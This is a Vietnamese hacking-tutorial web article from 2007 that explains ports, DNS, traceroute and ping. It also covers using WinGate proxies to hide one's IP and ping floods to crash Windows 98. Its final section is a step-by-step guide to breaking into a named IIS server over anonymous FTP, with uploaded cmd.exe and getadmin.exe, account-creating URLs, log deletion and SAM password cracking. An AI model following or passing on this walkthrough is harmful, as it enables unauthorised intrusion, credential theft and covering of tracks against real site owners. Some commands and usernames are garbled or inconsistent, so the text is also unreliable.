|
|
 |
| Tiêu Điểm |
|
 |
|
|
|
Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2
Thứ Bẩy, 05.05.2007, 09:23am (GMT+7)
14 . ) Vitual port là gì ?
Vitual port ( cổng ảo ) là 1 số
tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User
Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy
nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để
truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy
WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc
chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm
thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ
nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện.
Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21,
web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....
Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko
biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được.
Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là
gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình
chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ
Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn
thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.
( Tài liệu của HVA )
15 . ) DNS là gì ?
_
DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở
cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải
kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ
cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- >
localhost và localhost--- > 127.0.0.1 .
( Tài liệu của HVA )
16 . ) Đôi điều về Wingate :
_
WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra.
Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng
với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate
có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23
trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate
> . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống
và cổng bạn muốn kết nối vào. VD :
CODE
telnet wingate.net
WinGate > victim.com 23
ta
telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc
này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa
Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm
IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm
cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có
WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho
những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay
Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi
mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan
hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng
IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả ,
bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn
ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy
đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .
17 . ) Đôi điều về Traceroute :
_
Traceroute là một chương trình cho phép bạn xác định được đường đi của
các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :
CODE
C:windows > tracert 203.94.12.54
Tracing route to 203.94.12.54 over a maximum of 30 hops
1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms
Tôi
cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ
ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên,
các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13
hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :
CODE
host2 # traceroute xyz.com
traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms
+
Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng
này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của
datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes
user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram
là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router
này sẽ gởi trở lại cho chương trình traceroute một ICMP message error
``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống
đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có
TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên,
xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một
ICMP error message ``Port Unreachable``. Khi nhận được ICMP message
này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết
thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5
giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi
datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname
( Tài liệu của viethacker.net )
18 . ) Ping và cách sử dụng :
_
Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn
đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra
khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1
vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và
tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần
mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của
nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control
Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host
đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng
ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính
của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ
CODE
``ping ip.address -t``
Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:
CODE
``ping -l (size) địa_chỉ_ip ``
Cái
ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao
lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này
xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và
quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được
dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo
sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết
nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công
“ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng
thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows
98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối
phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi
với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và
bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng
thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt
ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt
quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux,
bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f
nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating
System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản
Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho
nó là Unix hay Linux, nó sẽ có tham số -f.
( Tài liệu của HVA và viethacker.net )
19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :
_
Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về
hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số
thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :
c:Ftp www.dodgyinc.com
(
trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết
họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI
ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :
CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):
Cái
mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta
biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể
suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác
, mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là
“IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous”
trong user nó sẽ xuất hiện dòng sau :
CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
Bây
giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử
đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết
bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách
mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với
“guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :
CODE
Cd /c
Và
sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn
hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ
tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào
nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển
mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể
lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy”
nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển
tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần
dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo
là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để
lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` .
Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục
cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY
Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :
CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!
Thế
là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ
là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :
http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:winntsystem32
et.exe%20user%20hacker%20toilahacker%20/add
dòng
lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và
passwd : toilahackerBây giờ bạn hãy là cho user này có account của
admin , bạn chỉ cần đánh lên IE lệnh :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?anhdenday
Vậy
là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi
search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore ,
explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là
user : anhdenday và passwd : toilahacker ) .
Có một vấn đề là
khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết
bạn hãy vào `Winntsystem32logfiles` mở file log đó rồI xoá những thông
tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo
gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy
tính vớI URL sau :
http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2030/04/03
xong
rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục
đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau
xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của
admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để
crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post
lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST&f=6&t=11566&s=
Khi
crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá
account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có
thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài
liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối
lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ
, nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .
Ở
phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của
một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…
Theo HVA
|
|
|
|